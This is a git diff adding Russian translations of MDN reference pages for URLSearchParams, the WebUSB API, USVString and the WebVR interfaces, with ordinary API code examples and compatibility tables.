FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("26.0")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("26.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

Смотрите также

+ + + +

 

diff --git a/files/ru/web/api/urlsearchparams/delete/index.html b/files/ru/web/api/urlsearchparams/delete/index.html new file mode 100644 index 0000000000..a9a41726ed --- /dev/null +++ b/files/ru/web/api/urlsearchparams/delete/index.html @@ -0,0 +1,60 @@ +--- +title: URLSearchParams.delete() +slug: Web/API/URLSearchParams/delete +translation_of: Web/API/URLSearchParams/delete +--- +

{{ApiRef("URL API")}}

+ +

Метод delete() интерфейса {{domxref("URLSearchParams")}} удаляет все указанные параметры и все связанные с ним значения из списка найденых параметров.

+ +

{{availableinworkers}}

+ +

Синтаксис

+ +
URLSearchParams.delete(name)
+ +

Параметры

+ +
+
name
+
Название удаляемого параметра.
+
+ +

Возвращаемое значение

+ +

Void

+ +

Примеры

+ +
let url = new URL('https://example.com?foo=1&bar=2&foo=3');
+let params = new URLSearchParams(url.search.slice(1));
+
+// Удалить параметр foo.
+params.delete('foo'); //Строка запроса теперь: 'bar=2'
+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('URL', '#dom-urlsearchparams-delete', "delete()")}}{{Spec2('URL')}}Первоначальное определение.
+ +

Совместимые браузеры

+ +
+ + +

{{Compat("api.URLSearchParams.delete")}}

+
diff --git a/files/ru/web/api/urlsearchparams/index.html b/files/ru/web/api/urlsearchparams/index.html new file mode 100644 index 0000000000..a72525e018 --- /dev/null +++ b/files/ru/web/api/urlsearchparams/index.html @@ -0,0 +1,109 @@ +--- +title: URLSearchParams +slug: Web/API/URLSearchParams +translation_of: Web/API/URLSearchParams +--- +

{{ApiRef("URL API")}}

+ +

URLSearchParams интерфейс определяет служебные методы для работы со строкой запроса URL.

+ +

Объект, реализующий URLSearchParams, может непосредственно использоваться в структуре {{jsxref('Statements/for...of', 'for...of')}}, например, следующие две строки идентичны:

+ +
for (var p of mySearchParams);
+for (var p of mySearchParams.entries());
+
+ +

{{availableinworkers}}

+ +

Конструктор

+ +
+
{{domxref("URLSearchParams.URLSearchParams", 'URLSearchParams()')}}
+
Конструктор возвращает объект URLSearchParams.
+
+ +

Свойства

+ +

Наследование свойств отсутствует.

+ +

Методы

+ +

Отсутствует наследование методов

+ +
+
{{domxref("URLSearchParams.append()")}}
+
Добавляет указанную пару key/value в качестве нового параметра поиска.
+
{{domxref("URLSearchParams.delete()")}}
+
Удаляет заданный параметр поиска и связанное с ним значение из списка всех параметров поиска.
+
{{domxref("URLSearchParams.entries()")}}
+
Возвращает {{jsxref ("Iteration_protocols", "iterator")}}, позволяющий пройти через все пары key/value, содержащиеся в этом объекте.
+
{{domxref("URLSearchParams.get()")}}
+
Возвращает первое значение, связанное с заданным параметром поиска.
+
{{domxref("URLSearchParams.getAll()")}}
+
Возвращает все значения ассоциации с заданным параметром поиска.
+
{{domxref("URLSearchParams.has()")}}
+
Возвращает {{jsxref ("Boolean")}}, указывающий, существует ли такой параметр поиска.
+
{{domxref("URLSearchParams.keys()")}}
+
Возвращает {{jsxref ("Iteration_protocols", "iterator")}}, позволяющий пройти все ключи пары key/value, содержащиеся в этом объекте.
+
{{domxref("URLSearchParams.set()")}}
+
Устанавливает значение, связанное с заданным параметром поиска, с заданным значением. Если было несколько значений, удалите остальные.
+
{{domxref("URLSearchParams.toString()")}}
+
Возвращает строку, содержащую строку запроса, подходящую для использования в URL-адресе.
+
{{domxref("URLSearchParams.values()")}}
+
Возвращает {{jsxref ("Iteration_protocols", "iterator")}}, позволяющий пройти через все значения пар key/value, содержащихся в этом объекте.
+
+ +

Пример

+ +
var paramsString = "q=URLUtils.searchParams&topic=api"
+var searchParams = new URLSearchParams(paramsString);
+
+// Итерируем параметры поиска.
+for (let p of searchParams) {
+  console.log(p);
+}
+
+searchParams.has("topic") === true; // true
+searchParams.get("topic") === "api"; // true
+searchParams.getAll("topic"); // ["api"]
+searchParams.get("foo") === null; // true
+searchParams.append("topic", "webdev");
+searchParams.toString(); // "q=URLUtils.searchParams&topic=api&topic=webdev"
+searchParams.set("topic", "More webdev");
+searchParams.toString(); // "q=URLUtils.searchParams&topic=More+webdev"
+searchParams.delete("topic");
+searchParams.toString(); // "q=URLUtils.searchParams"
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацииСтатусКомментраий
{{SpecName('URL', '#urlsearchparams', "URLSearchParams")}}{{Spec2('URL')}}Исходное определение
+ +

Совместимость с браузером

+ +
{{Compat("api.URLSearchParams")}}
+ +

Смотрите также

+ + + +
+
diff --git a/files/ru/web/api/usb/getdevices/index.html b/files/ru/web/api/usb/getdevices/index.html new file mode 100644 index 0000000000..8b69fce817 --- /dev/null +++ b/files/ru/web/api/usb/getdevices/index.html @@ -0,0 +1,63 @@ +--- +title: USB.getDevices() +slug: Web/API/USB/getDevices +tags: + - API + - Method + - Reference + - USB + - WebUSB + - WebUSB API + - getDevices() +translation_of: Web/API/USB/getDevices +--- +

{{APIRef("WebUSB API")}}{{SeeCompatTable}}{{securecontext_header}}

+ +

Метод getDevices интерфейса {{DOMxRef("USB")}} возвращает {{JSxRef("Promise")}}, который разрешается с массивом {{DOMxRef("USBDevice")}} объектов сопряжённых подключённых устройств. Для информации о сопряжённых устройствах, смотрите {{DOMxRef("USB.requestDevice()")}}.

+ +

Синтаксис

+ +
USB.getDevices()
+ +

Параметры

+ +

Нет.

+ +

Возвращаемое значение

+ +

{{JSxRef("Promise")}}, который разрешается с массивом объектов {{DOMxRef("USBDevice")}}.

+ +

Пример

+ +

В следующем примере имена продуктов и серийные номера сопряжённых устройств выводятся в консоль. Для информации о сопряжённых устройствах, смотрите {{DOMxRef("USB.requestDevice","USB.requestDevice()")}}.

+ +
navigator.usb.getDevices()
+.then(devices => {
+  console.log("Total devices: " + devices.length);
+  devices.forEach(device => {
+    console.log("Product name: " + device.productName + ", serial number " + device.serialNumber);
+  });
+});
+ +

Спецификация

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Web USB","#dom-usb-getdevices","getDevices")}}{{Spec2("Web USB")}}Изначальное определение.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.USB.getDevices")}}

diff --git a/files/ru/web/api/usb/index.html b/files/ru/web/api/usb/index.html new file mode 100644 index 0000000000..423ffc90da --- /dev/null +++ b/files/ru/web/api/usb/index.html @@ -0,0 +1,60 @@ +--- +title: USB +slug: Web/API/USB +tags: + - API + - Interface + - Reference + - USB + - WebUSB + - WebUSB API +translation_of: Web/API/USB +--- +

{{APIRef("WebUSB API")}}{{SeeCompatTable}}{{securecontext_header}}

+ +

Интерфейс USB WebUSB API представляет аттрибуты и методы для поиска и подключения USB устройств из WEB страницы.

+ +

Свойтсва

+ +

Нет.

+ +

Обработчики событий

+ +
+
{{domxref("USB.onconnect")}}
+
Обработчик событий вызывается всегда, когда ранее сопряжённое устройство подключается.
+
{{domxref("USB.ondisconnect")}}
+
Обработчик событий вызывается всегда, когда ранее сопряжённое устройство отключается.
+
+ +

Методы

+ +
+
{{domxref("USB.getDevices()")}}
+
Возвращает {{jsxref("Promise")}}, который разрешается массивов объектов {{domxref("USBDevice")}} сопряжённых устройств.
+
{{domxref("USB.requestDevice()")}}
+
Возвращает {{jsxref("Promise")}}, который разрешается экземпляром {{domxref("USBDevice")}}, если указаннное устройство найдено. Вызов этой функции запускает поток сопряжения агента пользователя.
+
+ +

Спецификация

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web USB','#enumeration','USB')}}{{Spec2('Web USB')}}Изначальное определение.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.USB")}}

diff --git a/files/ru/web/api/usb/onconnect/index.html b/files/ru/web/api/usb/onconnect/index.html new file mode 100644 index 0000000000..3a7d64e234 --- /dev/null +++ b/files/ru/web/api/usb/onconnect/index.html @@ -0,0 +1,43 @@ +--- +title: USB.onconnect +slug: Web/API/USB/onconnect +tags: + - API + - Method + - Reference + - USB + - WebUSB + - WebUSB API + - onconnect +translation_of: Web/API/USB/onconnect +--- +

{{APIRef("WebUSB API")}}{{SeeCompatTable}}{{securecontext_header}}

+ +

Свойство onconnect интерфейса {{DOMxRef("USB")}} является обработчиком события, который вызывается всегда, когда сопряжённое устройство подключается.

+ +

Синтаксис

+ +
USB.onconnect = connectFunction
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Web USB","#dom-usb-onconnect","onconnect")}}{{Spec2("Web USB")}}Изначальное определение.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.USB.onconnect")}}

diff --git a/files/ru/web/api/usb/ondisconnect/index.html b/files/ru/web/api/usb/ondisconnect/index.html new file mode 100644 index 0000000000..25dff131a0 --- /dev/null +++ b/files/ru/web/api/usb/ondisconnect/index.html @@ -0,0 +1,43 @@ +--- +title: USB.ondisconnect +slug: Web/API/USB/ondisconnect +tags: + - API + - Method + - Reference + - USB + - WebUSB + - WebUSB API + - ondisconnect +translation_of: Web/API/USB/ondisconnect +--- +

{{APIRef("WebUSB API")}}{{SeeCompatTable}}{{securecontext_header}}

+ +

Свойство ondisconnect интерфейса {{domxref("USB")}} является обработчиком события, который вызывается всегда, когда сопряжённое устройство отключается.

+ +

Синтаксис

+ +
USB.ondisconnect = disconnectFunction
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web USB','#dom-usb-ondisconnect','ondisconnect')}}{{Spec2('Web USB')}}Изначальное определение.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.USB.ondisconnect")}}

diff --git a/files/ru/web/api/usb/requestdevice/index.html b/files/ru/web/api/usb/requestdevice/index.html new file mode 100644 index 0000000000..bb162ad242 --- /dev/null +++ b/files/ru/web/api/usb/requestdevice/index.html @@ -0,0 +1,82 @@ +--- +title: USB.requestDevice() +slug: Web/API/USB/requestDevice +tags: + - API + - USB + - WebUSB + - WebUSB API + - getDevices() + - Определение + - метод +translation_of: Web/API/USB/requestDevice +--- +

{{APIRef("WebUSB API")}}{{SeeCompatTable}}{{securecontext_header}}

+ +

Метод requestDevice() интерфейса {{domxref("USB")}} возвращает {{jsxref("Promise")}}, возвращающий экземпляр {{domxref("USBDevice")}}, если необходимое устройство было найдено. Вызов этого метода начинает процесс соединения браузера с устройством.

+ +

Синтаксис

+ +
USB.requestDevice([filters])
+ +

Параметры

+ +
+
filters
+
Массив объектов, определяющих фильтры для устройств, к которым требуется подключиться. Каждый фильтр может содержать следующие свойства: +
    +
  • vendorId - ИД производителя (USB VID)
    • +
  • productId - ИД устройства USB PID
    • +
  • classCode - код класса функциональности устройства
    • +
  • subclassCode - код подкласса
    • +
  • protocolCode - код протокола
    • +
  • serialNumber - серийный номер
    • +
+
+
+ +

Возвращаемое значение

+ +

{{JSxRef("Promise")}}, возвращающий экземпляр {{DOMxRef("USBDevice")}}.

+ +

Пример

+ +

Этот пример запрашивает любое из перечисленных USB-устройств. Обратите внимание, указаны два разных PID. Оба присутствуют в списке фильтров для requestDevice(). При этом браузер покажет окно для выбора и подтверждения доступа к устройству. Только выбранное пользователем устройство будет передано в then().

+ +

Количество фильтров не определяет количество устройств, показываемых браузером. Например, если найдено только USB-устройство с product ID 0xa800, браузер отобразит только одно устройство. Но, если браузер определит два устройства, совпадающих с первым фильтром, и еще одно, совпадающее со вторым, будут показаны все три устройства.

+ +
const filters = [
+        {vendorId: 0x1209, productId: 0xa800},
+        {vendorId: 0x1209, productId: 0xa850}
+      ];
+navigator.usb.requestDevice({filters: filters})
+.then(usbDevice => {
+  console.log("Product name: " + usbDevice.productName);
+})
+.catch(e => {
+  console.log("There is no device. " + e);
+});
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Web USB","#dom-usb-requestdevice-options-options","requestDevice")}}{{Spec2("Web USB")}}Изначальное определение.
+ +

Совместимость

+ + + +

{{Compat("api.USB.requestDevice")}}

diff --git a/files/ru/web/api/usvstring/index.html b/files/ru/web/api/usvstring/index.html new file mode 100644 index 0000000000..a5bf4a85ff --- /dev/null +++ b/files/ru/web/api/usvstring/index.html @@ -0,0 +1,40 @@ +--- +title: USVString +slug: Web/API/USVString +tags: + - API + - DOM + - Reference + - String + - WebIDL +translation_of: Web/API/USVString +--- +

{{APIRef("DOM")}}

+ +

USVString соответствует набору всех возможных последовательностей скалярных значений Unicode. USVString сопоставляется с {{JSxRef("String")}} при возврате в JavaScript; обычно он используется только для API, которые выполняют обработку текста и для работы нуждаются в строке скалярных значений Unicode. USVString эквивалентна {{DOMxRef("DOMString")}} за исключением того, что не позволяет использовать непарные суррогатные кодовые точки. Непарные суррогатные кодовые точки, присутствующие в USVString, конвертируются браузером в «замещающий символ» Unicode U+FFFD, (�).

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("WebIDL", "#idl-USVString", "USVString")}}{{Spec2("WebIDL")}}Initial definition.
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/vrdisplay/index.html b/files/ru/web/api/vrdisplay/index.html new file mode 100644 index 0000000000..9bec0eb481 --- /dev/null +++ b/files/ru/web/api/vrdisplay/index.html @@ -0,0 +1,129 @@ +--- +title: VRDisplay +slug: Web/API/VRDisplay +tags: + - API + - DOM + - Experimental + - Interface + - Media + - NeedsTranslation + - Reference + - TopicStub + - VR + - VRDisplay + - Virtual Reality + - WebVR +translation_of: Web/API/VRDisplay +--- +
{{APIRef("WebVR API")}}{{SeeCompatTable}}
+ +

The VRDisplay interface of the WebVR API represents any VR device supported by this API. It includes generic information such as device IDs and descriptions, as well as methods for starting to present a VR scene, retrieving eye parameters and display capabilities, and other important functionality.

+ +

An array of all connected VR Devices can be returned by invoking the {{domxref("Navigator.getVRDisplays()")}} method.

+ +

Properties

+ +
+
{{domxref("VRDisplay.capabilities")}} {{readonlyInline}}
+
Returns a {{domxref("VRDisplayCapabilities")}} object that indicates the various capabilities of the VRDisplay.
+
{{domxref("VRDisplay.depthFar")}}
+
Gets and sets the z-depth defining the far plane of the eye view frustum, i.e. the furthest viewable boundary of the scene.
+
{{domxref("VRDisplay.depthNear")}}
+
Gets and sets the z-depth defining the near plane of the eye view frustum, i.e. the nearest viewable boundary of the scene.
+
{{domxref("VRDisplay.displayId")}} {{readonlyInline}}
+
Returns an identifier for this particular VRDisplay, which is also used as an association point in the Gamepad API (see {{domxref("Gamepad.displayId")}}).
+
{{domxref("VRDisplay.displayName")}} {{readonlyInline}}
+
Returns a human-readable name to identify the VRDisplay.
+
{{domxref("VRDisplay.isConnected")}} {{readonlyInline}}
+
Returns a {{domxref("Boolean")}} indicating whether the VRDisplay is connected to the computer.
+
{{domxref("VRDisplay.isPresenting")}} {{readonlyInline}}
+
Returns a {{domxref("Boolean")}} indicating whether the VRDisplay is currently having content presented through it.
+
{{domxref("VRDisplay.stageParameters")}} {{readonlyInline}}
+
Returns a {{domxref("VRStageParameters")}} object containing room-scale parameters, if the VRDisplay is capable of supporting room-scale experiences.
+
+ +

Methods

+ +
+
{{domxref("VRDisplay.getEyeParameters()")}}
+
Returns the {{domxref("VREyeParameters")}} object containing the eye parameters for the specified eye.
+
{{domxref("VRDisplay.getFrameData()")}}
+
Accepts a {{domxref("VRFrameData")}} object and populates it with the information required to render the current frame.
+
{{domxref("VRDisplay.getLayers()")}}
+
Returns the layers currently being presented by the VRDisplay.
+
{{domxref("VRDisplay.resetPose()")}}
+
Resets the pose for this VRDisplay, treating its current {{domxref("VRPose.position")}} and {{domxref("VRPose.orientation")}} as the "origin/zero" values.
+
{{domxref("VRDisplay.cancelAnimationFrame()")}}
+
A special implementation of {{domxref("Window.cancelAnimationFrame")}} that allows callbacks registered with {{domxref("VRDisplay.requestAnimationFrame()")}} to be unregistered.
+
{{domxref("VRDisplay.requestAnimationFrame()")}}
+
A special implementation of {{domxref("Window.requestAnimationFrame")}} containing a callback function that will be called every time a new frame of the VRDisplay presentation is rendered.
+
{{domxref("VRDisplay.requestPresent()")}}
+
Starts the VRDisplay presenting a scene.
+
{{domxref("VRDisplay.exitPresent()")}}
+
Stops the VRDisplay presenting a scene.
+
{{domxref("VRDisplay.submitFrame()")}}
+
Captures the current state of the {{domxref("VRLayer")}} currently being presented and displays it on the VRDisplay.
+
+ +

Deprecated methods

+ +
+
{{domxref("VRDisplay.getPose()")}} {{deprecated_inline}}
+
Returns a {{domxref("VRPose")}} object defining the future predicted pose of the VRDisplay as it will be when the current frame is actually presented. This method is deprecated — instead, you should use {{domxref("VRDisplay.getFrameData()")}}, which also provides a {{domxref("VRPose")}} object.
+
+ +

Obsolete methods

+ +
+
{{domxref("VRDisplay.getImmediatePose()")}} {{obsolete_inline}}
+
Returns a {{domxref("VRPose")}} object defining the current pose of the VRDisplay, with no prediction applied. This is no longer needed, and has been removed from the spec.
+
{{domxref("VRDisplay.hardwareUnitId")}} {{obsolete_inline}}
+
Returns a {{domxref("DOMString")}} defining the shared ID of the display, and any other devices that are part of that hardware set (e.g. controllers). This is no longer needed, and has been removed from the spec. Displays now use {{domxref("VRDisplay.displayId")}}, and corresponsing controllers will now return the same ID under {{domxref("Gamepad.displayId")}}.
+
+ +

Examples

+ +
if(navigator.getVRDisplays) {
+  console.log('WebVR 1.1 supported');
+  // Then get the displays attached to the computer
+  navigator.getVRDisplays().then(function(displays) {
+    // If a display is available, use it to present the scene
+    if(displays.length > 0) {
+      vrDisplay = displays[0];
+      // Now we have our VRDisplay object and can do what we want with it
+    }
+  });
+}
+ +
+

Note: You can see this complete code at raw-webgl-example.

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebVR 1.1', '#interface-vrdisplay', 'VRDisplay')}}{{Spec2('WebVR 1.1')}}Initial definition
+ +

Browser compatibility

+ +

{{Compat("api.VRDisplay")}}

+ +

See also

+ + diff --git a/files/ru/web/api/vrdisplay/requestanimationframe/index.html b/files/ru/web/api/vrdisplay/requestanimationframe/index.html new file mode 100644 index 0000000000..51d83bcea3 --- /dev/null +++ b/files/ru/web/api/vrdisplay/requestanimationframe/index.html @@ -0,0 +1,122 @@ +--- +title: VRDisplay.requestAnimationFrame() +slug: Web/API/VRDisplay/requestAnimationFrame +translation_of: Web/API/VRDisplay/requestAnimationFrame +--- +
{{APIRef("WebVR API")}}{{SeeCompatTable}}
+ +

Метод requestAnimationFrame() интерфейса {{domxref("VRDisplay")}} является специфичной реализацией метода {{domxref("Window.requestAnimationFrame")}} и принимает в качестве аргумента функцию обратного вызова (callback-функция). Эта функция будет вызвана, когда объект типа VRDisplay будет готов отобразить новый кадр сцены:

+ + + +

Синтаксис

+ +
var handle = vrDisplayInstance.requestAnimationFrame(callback);
+
+ +

Параметры

+ +
+
callback
+
callback-функция, которая будет вызвана когда объект типа VRDisplay будет готов отобразить новый кадр сцены.
+
+ +

Возвращаемое значение

+ +

A long representing the handle of the requestAnimationFrame() call. This can then be passed to a {{domxref("VRDisplay.cancelAnimationFrame()")}} call to unregister the callback.

+ +

Examples

+ +
var frameData = new VRFrameData();
+var vrDisplay;
+
+navigator.getVRDisplays().then(function(displays) {
+  vrDisplay = displays[0];
+  console.log('Display found');
+  // Starting the presentation when the button is clicked: It can only be called in response to a user gesture
+  btn.addEventListener('click', function() {
+    vrDisplay.requestPresent([{ source: canvas }]).then(function() {
+      drawVRScene();
+    });
+  });
+});
+
+// WebVR: Draw the scene for the WebVR display.
+function drawVRScene() {
+  // WebVR: Request the next frame of the animation
+  vrSceneFrame = vrDisplay.requestAnimationFrame(drawVRScene);
+
+  // Populate frameData with the data of the next frame to display
+  vrDisplay.getFrameData(frameData);
+
+  // You can get the position, orientation, etc. of the display from the current frame's pose
+  var curFramePose = frameData.pose;
+  var curPos = curFramePose.position;
+  var curOrient = curFramePose.orientation;
+
+  // Clear the canvas before we start drawing on it.
+
+  gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);
+
+  // WebVR: Create the required projection and view matrix locations needed
+  // for passing into the uniformMatrix4fv methods below
+
+  var projectionMatrixLocation = gl.getUniformLocation(shaderProgram, "projMatrix");
+  var viewMatrixLocation = gl.getUniformLocation(shaderProgram, "viewMatrix");
+
+  // WebVR: Render the left eye’s view to the left half of the canvas
+  gl.viewport(0, 0, canvas.width * 0.5, canvas.height);
+  gl.uniformMatrix4fv(projectionMatrixLocation, false, frameData.leftProjectionMatrix);
+  gl.uniformMatrix4fv(viewMatrixLocation, false, frameData.leftViewMatrix);
+  drawGeometry();
+
+  // WebVR: Render the right eye’s view to the right half of the canvas
+  gl.viewport(canvas.width * 0.5, 0, canvas.width * 0.5, canvas.height);
+  gl.uniformMatrix4fv(projectionMatrixLocation, false, frameData.rightProjectionMatrix);
+  gl.uniformMatrix4fv(viewMatrixLocation, false, frameData.rightViewMatrix);
+  drawGeometry();
+
+  function drawGeometry() {
+    // draw the view for each eye
+  }
+
+    ...
+
+  // WebVR: Indicate that we are ready to present the rendered frame to the VR display
+  vrDisplay.submitFrame();
+}
+ +
+

Note: You can see this complete code at raw-webgl-example.

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebVR 1.1', '#dom-vrdisplay-requestanimationframe', 'requestAnimationFrame()')}}{{Spec2('WebVR 1.1')}}Initial definition
+ +

Browser compatibility

+ +

{{Compat("api.VRDisplay.requestAnimationFrame")}}

+ +

See also

+ + diff --git a/files/ru/web/api/vrdisplay/requestpresent/index.html b/files/ru/web/api/vrdisplay/requestpresent/index.html new file mode 100644 index 0000000000..9537b94035 --- /dev/null +++ b/files/ru/web/api/vrdisplay/requestpresent/index.html @@ -0,0 +1,112 @@ +--- +title: VRDisplay.requestPresent() +slug: Web/API/VRDisplay/requestPresent +translation_of: Web/API/VRDisplay/requestPresent +--- +
{{APIRef("WebVR API")}}{{SeeCompatTable}}
+ +

Метод requestPresent() объекта реализующего интерфейс {{domxref("VRDisplay")}} отвечает за начало отображения сцены на VR устройстве, которое представлено этим объектом.

+ +

Синтаксис

+ +
vrDisplayInstance.requestPresent(layers).then(function() {
+  //Действия после начала отображения сцены
+});
+
+ +

Параметры

+ +
+
layers
+
Массив объектов типа {{domxref("VRLayerInit")}}, представляющих собой сцену, которую Вы хотите отобразить. На данный момент может быть минимум 0 элементов, максимум - 1.
+
+ +

Возвращаемое значение

+ +

Объект типа Promise, переходящий в состояние "выполнено" в момент начала отображения сцены. Существует ряд правил, касающийся перехода Promise в состояние "выполнено" и в состояние "отклонено":

+ +
+ +
+ +

Examples

+ +
if(navigator.getVRDisplays) {
+  console.log('WebVR 1.1 supported');
+  // Then get the displays attached to the computer
+  navigator.getVRDisplays().then(function(displays) {
+    // If a display is available, use it to present the scene
+    if(displays.length > 0) {
+      vrDisplay = displays[0];
+      console.log('Display found');
+      // Starting the presentation when the button is clicked: It can only be called in response to a user gesture
+      btn.addEventListener('click', function() {
+        if(btn.textContent === 'Start VR display') {
+          vrDisplay.requestPresent([{ source: canvas }]).then(function() {
+            console.log('Presenting to WebVR display');
+
+            // Set the canvas size to the size of the vrDisplay viewport
+
+            var leftEye = vrDisplay.getEyeParameters('left');
+            var rightEye = vrDisplay.getEyeParameters('right');
+
+            canvas.width = Math.max(leftEye.renderWidth, rightEye.renderWidth) * 2;
+            canvas.height = Math.max(leftEye.renderHeight, rightEye.renderHeight);
+
+            // stop the normal presentation, and start the vr presentation
+            window.cancelAnimationFrame(normalSceneFrame);
+            drawVRScene();
+
+            btn.textContent = 'Exit VR display';
+          });
+        } else {
+          vrDisplay.exitPresent();
+          console.log('Stopped presenting to WebVR display');
+
+          btn.textContent = 'Start VR display';
+
+          // Stop the VR presentation, and start the normal presentation
+          vrDisplay.cancelAnimationFrame(vrSceneFrame);
+          drawScene();
+        }
+      });
+    }
+  });
+}
+ +
+

Note: You can see this complete code at raw-webgl-example.

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebVR 1.1', '#dom-vrdisplay-requestpresent', 'requestPresent()')}}{{Spec2('WebVR 1.1')}}Initial definition
+ +

Browser compatibility

+ +

{{Compat("api.VRDisplay.requestPresent")}}

+ +

See also

+ + diff --git a/files/ru/web/api/vrdisplaycapabilities/hasposition/index.html b/files/ru/web/api/vrdisplaycapabilities/hasposition/index.html new file mode 100644 index 0000000000..7de0300c2f --- /dev/null +++ b/files/ru/web/api/vrdisplaycapabilities/hasposition/index.html @@ -0,0 +1,50 @@ +--- +title: VRDisplayCapabilities.hasPosition +slug: Web/API/VRDisplayCapabilities/hasPosition +tags: + - Виртуальная реальность +translation_of: Web/API/VRDisplayCapabilities/hasPosition +--- +
{{APIRef("WebVR API")}}{{SeeCompatTable}}
+ +

The hasPosition read-only property of the {{domxref("VRDisplayCapabilities")}} interface returns a {{domxref("Boolean")}} stating whether the VR display can track and return position information.

+ +

Синтаксис

+ +
var hasItGotPosition = vrDisplayCapabilitiesInstance.hasPosition;
+ +

Value

+ +

A {{domxref("Boolean")}}.

+ +

Примеры

+ +

{{page("/Web/API/VRDisplayCapabilities", "Examples")}}

+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebVR 1.1', '#dom-vrdisplaycapabilities-hasposition', 'hasPosition')}}{{Spec2('WebVR 1.1')}}Initial definition
+ +

Browser compatibility

+ +

{{Compat("api.VRDisplayCapabilities.hasPosition")}}

+ +

See also

+ + diff --git a/files/ru/web/api/vrdisplaycapabilities/index.html b/files/ru/web/api/vrdisplaycapabilities/index.html new file mode 100644 index 0000000000..0bc9f13cdf --- /dev/null +++ b/files/ru/web/api/vrdisplaycapabilities/index.html @@ -0,0 +1,76 @@ +--- +title: VRDisplayCapabilities +slug: Web/API/VRDisplayCapabilities +tags: + - Виртуальная реальность +translation_of: Web/API/VRDisplayCapabilities +--- +
{{APIRef("WebVR API")}}{{SeeCompatTable}}
+ +

Интерфейс VRDisplayCapabilities WebVR API описывает возможности {{domxref ("VRDisplay")}} - его функции можно использовать для тестирования возможностей устройства Виртуальной Реальности (VR), например, он может возвращать информацию о местоположении.

+ +

Данный интерфейс доступен в свойстве {{domxref ("VRDisplay.capabilities")}}.

+ +

Свойства

+ +
+
{{domxref("VRDisplayCapabilities.canPresent")}} {{readonlyInline}}
+
Возвращает параметр {{domxref ("Boolean")}}, указывающий, способен ли дисплей VR представлять контент (например, через HMD - Наголовный дисплей).
+
{{domxref("VRDisplayCapabilities.hasExternalDisplay")}} {{readonlyInline}}
+
Возвращает параметр {{domxref ("Boolean")}}, указывающий, является ли дисплей VR отдельным от основного дисплея устройства.
+
{{domxref("VRDisplayCapabilities.hasOrientation")}} {{deprecated_inline()}} {{readonlyInline}}
+
Возвращает параметр {{domxref ("Boolean")}}, указывающий, может ли дисплей VR отслеживать и возвращать информацию об ориентации в пространстве .
+
{{domxref("VRDisplayCapabilities.hasPosition")}} {{readonlyInline}}
+
Возвращает параметр {{domxref ("Boolean")}}, указывающий, может ли дисплей VR отслеживать и возвращать информацию о положении.
+
{{domxref("VRDisplayCapabilities.maxLayers")}} {{readonlyInline}}
+
Возвращает число, указывающее максимальное значение {{domxref ("VRLayer")}}, которое дисплей VR может представить одновременно (например, максимальную длину массива, который {{domxref ("VRDisplay.requestPresent ()")}} может принять.)
+
+ +

Примеры

+ +
function reportDisplays() {
+  navigator.getVRDisplays().then(function(displays) {
+    for(var i = 0; i < displays.length; i++) {
+      var cap = displays[i].capabilities;
+      // cap is a VRDisplayCapabilities object
+      var listItem = document.createElement('li');
+      listItem.innerHTML = '<strong>Display ' + (i+1) + '</strong>'
+                   + '<br>VR Display ID: ' + displays[i].displayId
+                   + '<br>VR Display Name: ' + displays[i].displayName
+                   + '<br>Display can present content: ' + cap.canPresent
+                   + '<br>Display is separate from the computer\'s main display: ' + cap.hasExternalDisplay
+                   + '<br>Display can return position info: ' + cap.hasPosition
+                   + '<br>Display can return orientation info: ' + cap.hasOrientation
+                   + '<br>Display max layers: ' + cap.maxLayers;
+      list.appendChild(listItem);
+    }
+  });
+}
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebVR 1.1', '#interface-vrdisplaycapabilities', 'VRDisplayCapabilities')}}{{Spec2('WebVR 1.1')}}Initial definition
+ +

Режим совместимости браузера

+ +

{{Compat("api.VRDisplayCapabilities")}}

+ +

Дополнительно

+ + diff --git a/files/ru/web/api/vrdisplayevent/display/index.html b/files/ru/web/api/vrdisplayevent/display/index.html new file mode 100644 index 0000000000..318bd97188 --- /dev/null +++ b/files/ru/web/api/vrdisplayevent/display/index.html @@ -0,0 +1,49 @@ +--- +title: VRDisplayEvent.display +slug: Web/API/VRDisplayEvent/display +tags: + - Виртуальная реальность +translation_of: Web/API/VRDisplayEvent/display +--- +
{{APIRef("WebVR API")}}{{SeeCompatTable}}
+ Cвойство  displayтолько для чтения интерфейса {{domxref ("VRDisplayEvent")}} возвращает параметр {{domxref ("VRDisplay")}}, связанный с этим событием.
+ +

Синтаксис

+ +
var myDisplay = vrDisplayEventInstance.display;
+ +

Значение

+ +

A {{domxref("VRDisplay")}} object.

+ +

Пример

+ +

{{page("/Web/API/VRDisplayEvent", "Examples")}}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияStatusComment
